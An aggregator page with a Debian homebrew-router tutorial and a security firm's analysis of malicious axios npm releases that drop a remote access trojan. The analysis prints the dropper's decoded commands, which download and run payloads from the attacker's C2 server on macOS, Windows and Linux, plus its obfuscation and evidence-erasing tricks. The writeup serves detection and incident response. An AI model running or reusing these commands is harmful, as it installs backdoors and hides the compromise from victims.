10 interesting stories served every morning and every evening.




1 664 shares, 31 trendiness

How to turn anything into a router

I don’t like to cover current events” very much, but the American gov­ern­ment just re­vealed a truly be­wil­der­ing pol­icy ef­fec­tively ban­ning im­port of new con­sumer router mod­els. This is ridicu­lous for many rea­sons, but if this does in­deed come to pass it may be ben­e­fi­cial to learn how to homebrew” a router.

Fortunately, you can make a router out of ba­si­cally any­thing re­sem­bling a com­puter.

I’ve used a linux pow­ered mini-pc as my own router for many years, and have posted a few times be­fore about how to make linux routers and fire­walls in that time. It’s been rock solid sta­ble, and the only is­sue I’ve had over the years was wear­ing out a $20 mSATA drive. While I use Debian typ­i­cally, Alpine linux prob­a­bly works just as well, per­haps bet­ter if you’re fa­mil­iar with it. As long as the de­vice runs Linux well and has a cou­ple USB ports, you’re good to go. Mini-PCs, desk­top PCs, SBCs, rack­mount servers, old lap­tops, or pur­pose built de­vices will all work.

To be clear, this is not meant to be a prac­ti­cal solution” to the US pol­icy, it’s to show peo­ple a neat hack” you can do to squeeze more ca­pa­bil­ity out of hard­ware you might al­ready own, and to demon­strate that there’s noth­ing spe­cial about routers - They’re all just com­put­ers af­ter all.

My per­sonal pref­er­ence is a pur­pose-made mini PC with a pas­sively cooled de­sign.

However, ba­si­cally any­thing will work. It should have two Ethernet in­ter­faces, but a stan­dard USB-Ethernet don­gle will also do the trick. It won’t be as re­li­able as an on­board in­ter­face, but will prob­a­bly be good enough. For ex­am­ple, this janky pile of spare parts can eas­ily push 820-850mbps on the wired LAN and ~300 mbps on the wire­less net­work:

This par­tic­u­lar de­vice is a Celeron 3205U dual core run­ning at a blis­ter­ing 1.5 GHz. Even that measly chip is more than ca­pa­ble of rout­ing an en­tire house or small busi­ness worth of traf­fic.

Going back even fur­ther, this was my setup for the first cou­ple weeks of the fall 2016 se­mes­ter:

It might be hard to tell what’s go­ing on here by look­ing, so let me break it down:

* An ExpressCard-PCIe bridge in the ThinkPad’s ex­pan­sion bay

* A trash-picked no-name Ethernet card in the PCIe slot, miss­ing its mount­ing bracket

* An an­cient Cisco 2960 100 mbit switch, pur­chased for $10 from my col­lege

* A D-Link router act­ing as an ac­cess point (“as-is” thrift store find with a bad WAN port)

Yes, this is in­deed a router! It prob­a­bly looks like a pile of junk, be­cause it is, but it’s junk that’s per­fectly able to per­form the job I gave it!

When set up, the sys­tem will be con­fig­ured like this:

Both LAN in­ter­faces will be bridged to­gether, mean­ing that de­vices on the wired and wire­less net­works will be able to com­mu­ni­cate nor­mally. If one LAN port is­n’t enough, you can plug in as many USB Ethernet don­gles as you need and bridge em all to­gether. It won’t be quite as fast as a real” switch, but if you’re look­ing for per­for­mance you might’ve come to the wrong place to­day.

As men­tioned be­fore, this will run Debian as the op­er­at­ing sys­tem, and uses very few pieces that don’t come with the base in­stall:

* Any firmware blobs not in the de­fault in­stall

Also, I should men­tion that I’ll only be set­ting up IPv4 here. IPv6 works great for stuff like mo­bile de­vices, but I still find it too frus­trat­ing in­side a LAN. Perhaps my brain is too cal­ci­fied al­ready, but I’ll hap­pily hold out on IPv4 for now.

* If you can, set the de­vice to the low­est clock speed, but dis­able any power man­age­ment for USB or PCI de­vices.

* Find the op­tion like Restore af­ter AC Power Loss” and turn it ON.

* Some de­vices won’t prop­erly power up if there’s no dis­play con­nected. If your de­vice is like this, stick a dummy don­gle” into the HDMI port.

* Lots of hard­ware will only work cor­rectly with the non-free-firmware repos­i­tory en­abled

Depending on your wire­less hard­ware, you may need to in­stall an ad­di­tional firmware pack­age.

sudo apt in­stall firmware-iwl­wifi

sudo apt in­stall firmware-ath9k-htc

Or if you have some­thing truly an­cient like I do:

sudo apt in­stall firmware-ath­eros

After the ini­tial in­stall is done, there are some ad­di­tional util­i­ties to in­stall:

sudo apt in­stall bridge-utils hostapd dns­masq

In terms of soft­ware, that’s about all that’s needed. There should be about 250 pack­ages on the sys­tem in to­tal.

In mod­ern Linux sys­tems, the net­work in­ter­face names are named based on phys­i­cal con­nec­tion and dri­ver type, like en­p0s31f6. I find the old for­mat, like ethX much sim­pler, so each in­ter­face gets a per­sis­tent name.

For each net­work in­ter­face, cre­ate a file at /etc/systemd/network/10-persistent-ethX.link

[Match]

MACAddress=AA:BB:CC:DD:00:11

[Link]

Name=ethX

This uses a USB Wi-Fi don­gle to act as an ac­cess point, cre­at­ing a net­work for other de­vices to join. This will not work as well as a pur­pose built de­vice, but it’s bet­ter than noth­ing. I’ve had rea­son­ably good re­sults with this, but I also live in a very small build­ing where I’m rarely more than 10m away from the router. If you rely heav­ily on your wire­less net­work work­ing prop­erly, try to find a ded­i­cated ac­cess point de­vice. An old router, even from over a decade ago, will prob­a­bly work fine for this by just con­nect­ing to its LAN port (not the WAN port!).

To set up the on­board wi-fi net­work, cre­ate a con­fig file at /etc/hostapd/hostapd.conf

in­ter­face=wlan0

bridge=br0

hw_­mode=g

chan­nel=11

ieee80211d=1

coun­try_­code=US

ieee80211n=1

wm­m_en­abled=1

ssid=My Cool and Creative Wi-Fi Name

auth_algs=1

wpa=2

wpa_key_mgmt=WPA-PSK

rsn_­pair­wise=CCMP

wpa_­passphrase=my­se­curepass­word

By de­fault the hostapd ser­vice is not startable, so we un­mask it be­fore en­abling the ser­vice.

sudo sys­tem­ctl un­mask hostapd

sudo sys­tem­ctl en­able –now hostapd

The outside” in­ter­face will be the WAN, and the inside” will be the LAN. Note that the LAN in­ter­face does not get a de­fault gate­way.

al­low-hot­plug eth0

al­low-hot­plug eth1

auto wlan0

auto br0

iface eth0 inet dhcp

iface br0 inet sta­tic

bridge_­ports eth1 wlan0

ad­dress 192.168.1.1/24

After this step, the de­vice should have a quick re­boot. It should come back up nicely. If it does­n’t con­firm that the pre­vi­ous steps were done cor­rectly, and check for er­rors by run­ning jour­nalctl -e -u net­work­ing.ser­vice

If it all worked cor­rectly, the out­put of this com­mand should be the same:

$ sudo brctl show br0

bridge name bridge id STP en­abled in­ter­faces

br0 8000.xxxxx no eth1

wlan0

Create /etc/sysctl.d/10-forward.conf and add this line to en­able IP for­ward­ing:

net.ipv4.ip_­for­ward=1

sudo sys­tem­ctl restart sys­temd-sysctl.ser­vice

The fire­wall rules and NAT con­fig­u­ra­tion are both han­dled by the new net­fil­ter sys­tem in Linux. We man­age this us­ing nfta­bles.

#!/usr/sbin/nft -f

flush rule­set

table inet fil­ter {

chain in­put {

type fil­ter hook in­put pri­or­ity 0; pol­icy drop;

ct state { es­tab­lished,re­lated } counter ac­cept

ip pro­to­col icmp counter ac­cept

iif­name br0” tcp dport { 22, 53 } counter ac­cept

iif­name br0” udp dport { 53, 67, 68 } counter ac­cept

counter

chain for­ward {

type fil­ter hook for­ward pri­or­ity 0; pol­icy drop;

iif­name eth0” oif­name br0″ ct state { es­tab­lished,re­lated } counter ac­cept

iif­name br0” oif­name eth0″ ct state { new,es­tab­lished,re­lated } counter ac­cept

counter

chain out­put {

type fil­ter hook out­put pri­or­ity 0; pol­icy ac­cept;

counter

table ip nat {

chain postrout­ing {

type nat hook postrout­ing pri­or­ity 100; pol­icy ac­cept;

oif­name eth0” counter mas­quer­ade

This per­forms NAT, de­nies all in­bound traf­fic from out­side the net­work, and al­lows the router de­vice to act as a DNS, DHCP, and SSH server (for man­age­ment). Pretty much a bog stan­dard fire­wall con­fig.

Enable this for the next boot:

sudo sys­tem­ctl en­able nfta­bles.ser­vice

...

Read the original on nbailey.ca »

2 660 shares, 126 trendiness

Malicious Versions Drop Remote Access Trojan

Hijacked main­tainer ac­count used to pub­lish poi­soned ax­ios re­leases in­clud­ing 1.14.1 and 0.30.4. The at­tacker in­jected a hid­den de­pen­dency that drops a cross plat­form RAT. We are ac­tively in­ves­ti­gat­ing and will up­date this post with a full tech­ni­cal analy­sis. StepSecurity is host­ing a com­mu­nity town hall on this in­ci­dent on April 1st at 10:00 AM PT - Register Here.On March 31, 2026, StepSecurity iden­ti­fied two ma­li­cious ver­sions of the widely used ax­ios HTTP client li­brary pub­lished to npm: ax­ios@1.14.1 and ax­ios@0.30.4. Both ver­sions were pub­lished us­ing the com­pro­mised npm cre­den­tials of a lead ax­ios main­tainer, by­pass­ing the pro­jec­t’s nor­mal GitHub Actions CI/CD pipeline. The at­tacker changed the main­tain­er’s ac­count email to an anony­mous ProtonMail ad­dress and man­u­ally pub­lished the poi­soned pack­ages via the npm CLI.The ma­li­cious ver­sions in­ject a new de­pen­dency, plain-crypto-js@4.2.1, which is never im­ported any­where in the ax­ios source code. Its sole pur­pose is to ex­e­cute a postin­stall script that acts as a cross plat­form re­mote ac­cess tro­jan (RAT) drop­per, tar­get­ing ma­cOS, Windows, and Linux. The drop­per con­tacts a live com­mand and con­trol server and de­liv­ers plat­form spe­cific sec­ond stage pay­loads. After ex­e­cu­tion, the mal­ware deletes it­self and re­places its own pack­age.json with a clean ver­sion to evade foren­sic de­tec­tion.This was not op­por­tunis­tic. The ma­li­cious de­pen­dency was staged 18 hours in ad­vance. Three sep­a­rate pay­loads were pre-built for three op­er­at­ing sys­tems. Both re­lease branches were hit within 39 min­utes. Every trace was de­signed to self-de­struct. This is among the most op­er­a­tionally so­phis­ti­cated sup­ply chain at­tacks ever doc­u­mented against a top-10 npm pack­age.Nei­ther ma­li­cious ver­sion con­tains a sin­gle line of ma­li­cious code in­side ax­ios it­self. Instead, both in­ject a fake de­pen­dency, plain-crypto-js@4.2.1, a pack­age that is never im­ported any­where in the ax­ios source, whose only pur­pose is to run a postin­stall script that de­ploys a cross-plat­form re­mote ac­cess tro­jan (RAT). The drop­per con­tacts a live com­mand-and-con­trol server, de­liv­ers sep­a­rate sec­ond-stage pay­loads for ma­cOS, Windows, and Linux, then erases it­self and re­places its own pack­age.json with a clean de­coy, leav­ing a de­vel­oper who in­spects their node_­mod­ules folder af­ter the fact with no in­di­ca­tion any­thing went wrong. If you have in­stalled ax­ios@1.14.1 or ax­ios@0.30.4, as­sume your sys­tem is com­pro­mised. These com­pro­mises were de­tected by StepSecurity AI Package Analyst [1][2] and StepSecurity Harden-Runner. We have re­spon­si­bly dis­closed the is­sue to the pro­ject main­tain­ers.StepSe­cu­rity Harden-Runner, whose com­mu­nity tier is free for pub­lic re­pos and is used by over 12,000 pub­lic repos­i­to­ries, de­tected the com­pro­mised ax­ios pack­age mak­ing anom­alous out­bound con­nec­tions to the at­tack­er’s C2 do­main across mul­ti­ple open source pro­jects. For ex­am­ple, Harden-Runner flagged the C2 call­back to sfr­clak.com:8000 dur­ing a rou­tine CI run in the back­stage repos­i­tory, one of the most widely used de­vel­oper por­tal frame­works. The con­nec­tion was au­to­mat­i­cally marked as anom­alous be­cause it had never ap­peared in any prior work­flow run. Harden-Runner in­sights for com­mu­nity tier pro­jects are pub­lic by de­sign, al­low­ing any­one to ver­ify the de­tec­tion: https://​app.stepse­cu­rity.io/​github/​back­stage/​back­stage/​ac­tions/​runs/​23775668703?tab=net­work-events­The at­tack was pre-staged across roughly 18 hours, with the ma­li­cious de­pen­dency seeded on npm be­fore the ax­ios re­leases to avoid brand-new pack­age” alarms from se­cu­rity scan­ners:

plain-crypto-js@4.2.0 pub­lished by nr­wise@pro­ton.me — a clean de­coy con­tain­ing a full copy of the le­git­i­mate crypto-js source, no postin­stall hook. Its sole pur­pose is to es­tab­lish npm pub­lish­ing his­tory so the pack­age does not ap­pear as a zero-his­tory ac­count dur­ing later in­spec­tion.

plain-crypto-js@4.2.1 pub­lished by nr­wise@pro­ton.me — ma­li­cious pay­load added. The postin­stall: node setup.js” hook and ob­fus­cated drop­per are in­tro­duced.

ax­ios@1.14.1 pub­lished by com­pro­mised ja­son­saay­man ac­count (email: if­stap@pro­ton.me) — in­jects plain-crypto-js@4.2.1 as a run­time de­pen­dency, tar­get­ing the mod­ern 1.x user base.

ax­ios@0.30.4 pub­lished by the same com­pro­mised ac­count — iden­ti­cal in­jec­tion into the legacy 0.x branch, pub­lished 39 min­utes later to max­i­mize cov­er­age across both re­lease lines.

npm un­pub­lishes ax­ios@1.14.1 and ax­ios@0.30.4. Both ver­sions are re­moved from the reg­istry and the lat­est dist-tag re­verts to 1.14.0. ax­ios@1.14.1 had been live for ap­prox­i­mately 2 hours 53 min­utes; ax­ios@0.30.4 for ap­prox­i­mately 2 hours 15 min­utes. Timestamp is in­ferred from the ax­ios reg­istry doc­u­men­t’s mod­i­fied field (03:15:30Z) — npm does not ex­pose a ded­i­cated per-ver­sion un­pub­lish time­stamp in its pub­lic API.

npm ini­ti­ates a se­cu­rity hold on plain-crypto-js, be­gin­ning the process of re­plac­ing the ma­li­cious pack­age with an npm se­cu­rity-holder stub.

npm pub­lishes the se­cu­rity-holder stub plain-crypto-js@0.0.1-se­cu­rity.0 un­der the npm@npmjs.com ac­count, for­mally re­plac­ing the ma­li­cious pack­age on the reg­istry. plain-crypto-js@4.2.1 had been live for ap­prox­i­mately 4 hours 27 min­utes. Attempting to in­stall any ver­sion of plain-crypto-js now re­turns the se­cu­rity no­tice.

ax­ios is the most pop­u­lar HTTP client li­brary in the JavaScript ecosys­tem. It is used in vir­tu­ally every Node.js and browser ap­pli­ca­tion that makes HTTP re­quests — from React front-ends to CI/CD tool­ing to server-side APIs. With over 300 mil­lion weekly down­loads, a com­pro­mise of even a sin­gle mi­nor re­lease has an enor­mous po­ten­tial blast ra­dius. A de­vel­oper run­ning a rou­tine npm in­stall or npm up­date would have no rea­son to sus­pect the pack­age was de­ploy­ing mal­ware.The at­tacker com­pro­mised the ja­son­saay­man npm ac­count, the pri­mary main­tainer of the ax­ios pro­ject. The ac­coun­t’s reg­is­tered email was changed to if­stap@pro­ton.me — an at­tacker-con­trolled ProtonMail ad­dress. Using this ac­cess, the at­tacker pub­lished ma­li­cious builds across both the 1.x and 0.x re­lease branches si­mul­ta­ne­ously, max­i­miz­ing the num­ber of pro­jects ex­posed.Both ax­ios@1.14.1 and ax­ios@0.30.4 are recorded in the npm reg­istry as pub­lished by ja­son­saay­man, mak­ing them in­dis­tin­guish­able from le­git­i­mate re­leases at a glance.A crit­i­cal foren­sic sig­nal is vis­i­ble in the npm reg­istry meta­data. Every le­git­i­mate ax­ios 1.x re­lease is pub­lished via GitHub Actions with npm’s OIDC Trusted Publisher mech­a­nism, mean­ing the pub­lish is cryp­to­graph­i­cally tied to a ver­i­fied GitHub Actions work­flow. ax­ios@1.14.1 breaks that pat­tern en­tirely — pub­lished man­u­ally via a stolen npm ac­cess to­ken with no OIDC bind­ing and no git­Head:// ax­ios@1.14.0 — LEGITIMATE

_npmUser”: {

name”: GitHub Actions”,

email”: npm-oidc-no-re­ply@github.com,

trustedPublisher”: {

id”: github”,

oidcConfigId”: oidc:9061ef30-3132-49f4-b28c-9338d192a1a9″

// ax­ios@1.14.1 — MALICIOUS

_npmUser”: {

name”: jasonsaayman”,

email”: if­stap@pro­ton.me

// no trust­ed­Pub­lisher, no git­Head, no cor­re­spond­ing GitHub com­mit or tag

}There is no com­mit or tag in the ax­ios GitHub repos­i­tory that cor­re­sponds to 1.14.1. The re­lease ex­ists only on npm. The OIDC to­ken that le­git­i­mate re­leases use is ephemeral and scoped to the spe­cific work­flow — it can­not be stolen. The at­tacker must have ob­tained a long-lived clas­sic npm ac­cess to­ken for the ac­count.Be­fore pub­lish­ing the back­doored ax­ios re­leases, the at­tacker pre-staged a ma­li­cious pack­age on npm: plain-crypto-js@4.2.1, pub­lished from a sep­a­rate throw­away ac­count (nrwise, nr­wise@pro­ton.me). Note the shared use of ProtonMail across both ac­counts — a con­sis­tent op­er­a­tional pat­tern for this ac­tor.This pack­age is de­lib­er­ately de­signed to look le­git­i­mate:  Masquerades as crypto-js — the same de­scrip­tion (“JavaScript li­brary of crypto stan­dards”), the same au­thor at­tri­bu­tion (Evan Vosberg), and the same repos­i­tory URL point­ing to github.com/​brix/​crypto-js  Contains a postin­stall hook: postinstall”: node setup.js” — ex­e­cutes au­to­mat­i­cally, with­out any user ac­tion, on every npm in­stall  Pre-stages its own ev­i­dence de­struc­tion — in­cludes a file called pack­age.md, a clean pack­age.json stub (version 4.2.0, no postin­stall) ready to over­write the real man­i­fest af­ter the at­tack run­sThe at­tacker pub­lished ax­ios@1.14.1 and ax­ios@0.30.4 with plain-crypto-js: ^4.2.1” added as a run­time de­pen­dency — a pack­age that has never ap­peared in any le­git­i­mate ax­ios re­lease. The diff is sur­gi­cal: every other de­pen­dency is iden­ti­cal to the prior clean ver­sion.When a de­vel­oper runs npm in­stall ax­ios@1.14.1, npm re­solves the de­pen­dency tree and in­stalls plain-crypto-js@4.2.1 au­to­mat­i­cally. npm then ex­e­cutes plain-crypto-js’s postin­stall script, launch­ing the drop­per.Phan­tom de­pen­dency: A grep across all 86 files in ax­ios@1.14.1 con­firms that plain-crypto-js is never im­ported or re­quire()’d any­where in the ax­ios source code. It is added to pack­age.json only to trig­ger the postin­stall hook. A de­pen­dency that ap­pears in the man­i­fest but has zero us­age in the code­base is a high-con­fi­dence in­di­ca­tor of a com­pro­mised re­lease.setup.js is a sin­gle mini­fied file em­ploy­ing a two-layer ob­fus­ca­tion scheme de­signed to evade sta­tic analy­sis tools and con­fuse hu­man re­view­ers.All sen­si­tive strings — mod­ule names, OS iden­ti­fiers, shell com­mands, the C2 URL, and file paths — are stored as en­coded val­ues in an ar­ray named stq[]. Two func­tions de­code them at run­time:_tran­s_1(x, r) — XOR ci­pher. The key OrDeR_7077″ is parsed through JavaScript’s Number(): al­pha­betic char­ac­ters pro­duce NaN, which in bit­wise op­er­a­tions be­comes 0. Only the dig­its 7, 0, 7, 7 in po­si­tions 6–9 sur­vive, giv­ing an ef­fec­tive key of [0,0,0,0,0,0,7,0,7,7]. Each char­ac­ter at po­si­tion r is de­coded as:char­Code XOR key[(7 × r × r) % 10] XOR 333_trans_2(x, r) — Outer layer. Reverses the en­coded string, re­places _ with =, base64-de­codes the re­sult (interpreting the bytes as UTF-8 to re­cover Unicode code points), then passes the out­put through _trans_1.The drop­per’s en­try point is _entry(“6202033”), where 6202033 is the C2 URL path seg­ment. The full C2 URL is: http://​sfr­clak.com:8000/​6202033StepSe­cu­rity fully de­coded every en­try in the stq[] ar­ray. The re­cov­ered plain­text re­veals the com­plete at­tack:stq[0] → child_process” // shell ex­e­cu­tion

stq[1] → os” // plat­form de­tec­tion

stq[2] → fs” // filesys­tem op­er­a­tions

stq[3] → http://​sfr­clak.com:8000/ // C2 base URL

stq[5] → win32” // Windows plat­form iden­ti­fier

stq[6] → darwin” // ma­cOS plat­form iden­ti­fier

stq[12] → curl -o /tmp/ld.py -d pack­ages.npm.org/​pro­duct2 -s SCR_LINK && no­hup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &”

stq[13] → package.json” // deleted af­ter ex­e­cu­tion

stq[14] → package.md” // clean stub re­named to pack­age.json

stq[15] → .exe”

stq[16] → .ps1″

stq[17] → .vbs”The drop­per checks os.plat­form() and branches into one of three at­tack paths:On ma­cOS (darwin), the drop­per writes an AppleScript file to the sys­tem temp di­rec­tory and ex­e­cutes it silently:no­hup os­ascript The AppleScript con­tacts the C2 server with POST body pack­ages.npm.org/​pro­duct0, down­loads the ma­cOS RAT bi­nary, saves it to /Library/Caches/com.apple.act.mond (a path de­signed to look like a le­git­i­mate Apple sys­tem cache en­try), makes it ex­e­cutable with chmod 770, and launches it in the back­ground via /bin/zsh:do shell script curl -o /Library/Caches/com.apple.act.mond \

-d pack­ages.npm.org/​pro­duct0 \

-s http://​sfr­clak.com:8000/​6202033 \

&& chmod 770 /Library/Caches/com.apple.act.mond \

&& /bin/zsh -c "/Library/Caches/com.apple.act.mond hhttp://​sfr­clak.com:8000/​6202033 &" \

&> /dev/null”The AppleScript file is deleted af­ter ex­e­cu­tion. The only per­sis­tent ar­ti­fact is /Library/Caches/com.apple.act.mond. The path is de­lib­er­ate: /Library/Caches/ is a sys­tem-owned di­rec­tory rarely in­spected dur­ing in­ci­dent re­sponse, and the name com.ap­ple.act.mond mim­ics Apple’s re­verse-DNS dae­mon nam­ing con­ven­tion — the suf­fix likely ab­bre­vi­ates Activity Monitor Daemon” to blend in with le­git­i­mate Apple back­ground processes in the same di­rec­tory.On Windows (win32), the at­tack chain in­volves three stages:  Run where pow­er­shell to lo­cate the PowerShell bi­nary path  Copy the PowerShell bi­nary to %PROGRAMDATA%\wt.exe — dis­guised as the Windows Terminal ex­e­cutable, pro­vid­ing a per­sis­tent copy of the in­ter­preter  Write a VBScript (.vbs) to the temp di­rec­tory and ex­e­cute it via cscript //nologoSet ob­jShell = CreateObject(“WScript.Shell”)

ob­jShell.Run cmd.exe /c curl -s -X POST & _

-d pack­ages.npm.org/​pro­duct1″” & _

″“”http://​sfr­clak.com:8000/​6202033″” > ”The C2 re­turns a PowerShell RAT script, saved to %TEMP%\6202033.ps1 (using the cam­paign ID as file­name). It runs with -ExecutionPolicy Bypass and -WindowStyle Hidden, then self-deletes. The VBScript (%TEMP%\6202033.vbs) is also deleted by cscript af­ter ex­e­cu­tion. The only per­sis­tent ar­ti­fact is %PROGRAMDATA%\wt.exe.On all other plat­forms (Linux, etc.), the drop­per ex­e­cutes a di­rect shell com­mand via Node.js’s ex­ec­Sync:curl -o /tmp/ld.py \

-d pack­ages.npm.org/​pro­duct2 \

-s http://​sfr­clak.com:8000/​6202033 \

&& no­hup python3 /tmp/ld.py http://​sfr­clak.com:8000/​6202033 > /dev/null 2>&1 &The C2 re­turns a Python RAT script. It is saved to /tmp/ld.py and ex­e­cuted in the back­ground with no­hup. The file re­mains on disk at /tmp/ld.py.Three prod­ucts, one C2: Each plat­form sends a dis­tinct POST body to the same C2 URLpack­ages.npm.org/​pro­duct0 (macOS), pack­ages.npm.org/​pro­duct1 (Windows), pack­ages.npm.org/​pro­duct2 (Linux). This al­lows the C2 server to serve a plat­form-ap­pro­pri­ate pay­load in re­sponse to a sin­gle end­point. The pack­ages.npm.org/ pre­fix in the POST body is a de­lib­er­ate at­tempt to make out­bound traf­fic ap­pear as be­nign npm reg­istry com­mu­ni­ca­tion in net­work logs and SIEM rules at a glance.Af­ter launch­ing the plat­form pay­load, setup.js per­forms three foren­sic cleanup steps that make stan­dard post-in­fec­tion analy­sis un­re­li­able:  Deletes it­self — fs.un­link(__­file­name) re­moves setup.js from the in­stalled pack­age di­rec­tory  Deletes pack­age.json — re­moves the file that con­tains the in­crim­i­nat­ing postinstall”: node setup.js” hook  Renames pack­age.md to pack­age.json — the pre-staged clean stub (version 4.2.0, no postin­stall, no setup.js ref­er­ence) is moved into placeAny post-in­fec­tion in­spec­tion of node_­mod­ules/​plain-crypto-js/​pack­age.json will show a com­pletely clean man­i­fest. There is no postin­stall script, no setup.js file, and no in­di­ca­tion that any­thing ma­li­cious was ever in­stalled. Running npm au­dit or man­u­ally re­view­ing the in­stalled pack­age di­rec­tory will not re­veal the com­pro­mise.Why the di­rec­tory pres­ence still mat­ters: Even af­ter cleanup, the ex­is­tence of node_­mod­ules/​plain-crypto-js/ is suf­fi­cient ev­i­dence of com­pro­mise — this pack­age is not a de­pen­dency of any le­git­i­mate ax­ios ver­sion. If you find this di­rec­tory, the drop­per ran.Sta­tic analy­sis of the ob­fus­cated drop­per told us what the mal­ware in­tended to do. To con­firm it ac­tu­ally ex­e­cutes as de­signed, we in­stalled ax­ios@1.14.1 in­side a GitHub Actions run­ner in­stru­mented with StepSecurity Harden-Runner in au­dit mode. Harden-Runner cap­tures every out­bound net­work con­nec­tion, every spawned process, and every file write at the ker­nel level — with­out in­ter­fer­ing with ex­e­cu­tion in au­dit mode, giv­ing us a com­plete ground-truth pic­ture of what hap­pens the mo­ment npm in­stall runs.The full Harden-Runner in­sights for this run are pub­licly ac­ces­si­ble:

app.stepse­cu­rity.io/​github/​ac­tions-se­cu­rity-demo/​com­pro­mised-pack­ages/​ac­tions/​runs/​23776116077The net­work event log con­tains two out­bound con­nec­tions to sfr­clak.com:8000 — but what makes this par­tic­u­larly sig­nif­i­cant is when they oc­cur:The first C2 con­nec­tion (curl, PID 2401) fires 1.1 sec­onds into the npm in­stall — at 01:30:51Z, just 2 sec­onds af­ter npm in­stall be­gan at 01:30:49Z. The postin­stall hook trig­gered, de­coded its strings, and was mak­ing an out­bound HTTP con­nec­tion to an ex­ter­nal server be­fore npm had fin­ished re­solv­ing all de­pen­den­cies.  The sec­ond C2 con­nec­tion (nohup, PID 2400) oc­curs 36 sec­onds later, in an en­tirely dif­fer­ent work­flow step — Verify ax­ios im­port and ver­sion.” The npm in­stall step was long fin­ished. The mal­ware had per­sisted into sub­se­quent steps, run­ning as a de­tached back­ground process. This is the stage-2 Python pay­load (/tmp/ld.py) mak­ing a call­back — alive and in­de­pen­dent of the process that spawned it.Why both con­nec­tions show calledBy: infra”: When Harden-Runner can trace a net­work call to a spe­cific Actions step through the run­ner process tree, it la­bels it runner”. The infra” la­bel means the process mak­ing the con­nec­tion could not be at­trib­uted to a spe­cific step — be­cause the drop­per used no­hup … & to de­tach from the process tree. The process was de­lib­er­ately or­phaned to PID 1 (init), sev­er­ing all par­ent-child re­la­tion­ships. This is the mal­ware ac­tively evad­ing process at­tri­bu­tion.Process Tree: The Full Kill Chain as Observed at RuntimeHarden-Runner cap­tures every ex­ecve syscall. The raw process events re­con­struct the ex­act ex­e­cu­tion chain from npm in­stall to C2 con­tact:PID 2366 bash /home/runner/work/_temp/***.sh [01:30:48.186Z]

└─ PID 2380 env node npm in­stall ax­ios@1.14.1 [01:30:49.603Z]

└─ PID 2391 sh -c node setup.js” [01:30:50.954Z]

│ cwd: node_­mod­ules/​plain-crypto-js ← postin­stall hook fires

└─ PID 2392 node setup.js [01:30:50.955Z]

│ cwd: node_­mod­ules/​plain-crypto-js

└─ PID 2399 /bin/sh -c curl -o /tmp/ld.py \ [01:30:50.978Z]

-d pack­ages.npm.org/​pro­duct2 \

-s http://​sfr­clak.com:8000/​6202033 \

&& no­hup python3 /tmp/ld.py \

http://​sfr­clak.com:8000/​6202033 \

> /dev/null 2>&1 &”

PID 2401 curl -o /tmp/ld.py -d pack­ages.npm.org/​pro­duct2 [01:30:50.979Z]

ppid: 2400 ← child of no­hup

PID 2400 no­hup python3 /tmp/ld.py http://​sfr­clak.com:8000/​6202033 [01:31:27.732Z]

ppid: 1 ← ORPHANED TO INIT — de­tached from npm process treeThe process tree con­firms the ex­act ex­e­cu­tion chain de­coded sta­t­i­cally from setup.js. Four lev­els of process in­di­rec­tion sep­a­rate the orig­i­nal npm in­stall from the C2 call­back: npm → sh → node → sh → curl/​no­hup. The no­hup process (PID 2400) re­port­ing ppid: 1 is the tech­ni­cal con­fir­ma­tion of the dae­mo­niza­tion tech­nique — by the time npm in­stall re­turned suc­cess­fully, a de­tached process was al­ready run­ning /tmp/ld.py in the back­ground.The file event log cap­tures every file write by PID. The plain-crypto-js/​pack­age.json en­try shows two writes from two dif­fer­ent processes — di­rectly con­firm­ing the anti-foren­sics tech­nique de­scribed in sta­tic analy­sis:File: node_­mod­ules/​plain-crypto-js/​pack­age.json

Write 1 — pid=2380 (npm in­stall) ts=01:30:50.905Z

Malicious pack­age.json writ­ten to disk dur­ing in­stall.

Contains: { postinstall”: node setup.js” }

Write 2 — pid=2392 (node setup.js) ts=01:31:27.736Z [+36s]

Dropper over­writes pack­age.json with clean stub from pack­age.md.

Contains: ver­sion 4.2.0 man­i­fest, no scripts, no postin­stall.The 36-second gap be­tween the two writes is the ex­e­cu­tion time of the drop­per — it wrote the sec­ond file only af­ter suc­cess­fully launch­ing the back­ground pay­load. Harden-Runner flagged this as a Source Code Overwritten” file in­tegrity event. Post-infection, any tool that reads node_­mod­ules/​plain-crypto-js/​pack­age.json will see the clean man­i­fest. The write event log is the only run­time ar­ti­fact that proves the swap oc­curred.

‍Check for the ma­li­cious ax­ios ver­sions in your pro­ject:npm list ax­ios 2>/dev/null | grep -E 1\.14\.1|0\.30\.4”

grep -A1 “axios”’ pack­age-lock.json | grep -E 1\.14\.1|0\.30\.4″ls node_­mod­ules/​plain-crypto-js 2>/dev/null && echo POTENTIALLY AFFECTED”If setup.js al­ready ran, pack­age.json in­side this di­rec­tory will have been re­placed with a clean stub. The pres­ence of the di­rec­tory is suf­fi­cient ev­i­dence the drop­per ex­e­cuted.# ma­cOS

ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo COMPROMISED

# Linux

ls -la /tmp/ld.py 2>/dev/null && echo COMPROMISED

COMPROMISED

# Windows (cmd.exe)

dir %PROGRAMDATA%\wt.exe” 2>nul && echo COMPROMISEDCheck CI/CD pipeline logs for any npm in­stall ex­e­cu­tions that may have pulled ax­ios@1.14.1 or ax­ios@0.30.4. Any pipeline that in­stalled ei­ther ver­sion should be treated as com­pro­mised and all in­jected se­crets ro­tated im­me­di­ately.    Downgrade ax­ios to a clean ver­sion and pin it:    npm in­stall ax­ios@1.14.0   # for 1.x user­snpm in­stall ax­ios@0.30.3   # for 0.x users

Add an over­rides block to pre­vent tran­si­tive res­o­lu­tion back to the ma­li­cious ver­sions:    {  “dependencies”: { axios”: 1.14.0” },  “overrides”:    { axios”: 1.14.0″ },  “resolutions”:  { axios”: 1.14.0” }}          If a RAT ar­ti­fact is found: treat the sys­tem as fully com­pro­mised. Do not at­tempt to clean in place — re­build from a known-good state.        Rotate all cre­den­tials on any sys­tem where the ma­li­cious pack­age ran: npm to­kens, AWS ac­cess keys, SSH pri­vate keys, cloud cre­den­tials (GCP, Azure), CI/CD se­crets, and any val­ues pre­sent in .env files ac­ces­si­ble at in­stall time.        Audit CI/CD pipelines for runs that in­stalled the af­fected ver­sions. Any work­flow that ex­e­cuted npm in­stall with these ver­sions should have all in­jected se­crets ro­tated.        Use –ignore-scripts in CI/CD as a stand­ing pol­icy to pre­vent postin­stall hooks from run­ning dur­ing au­to­mated builds:

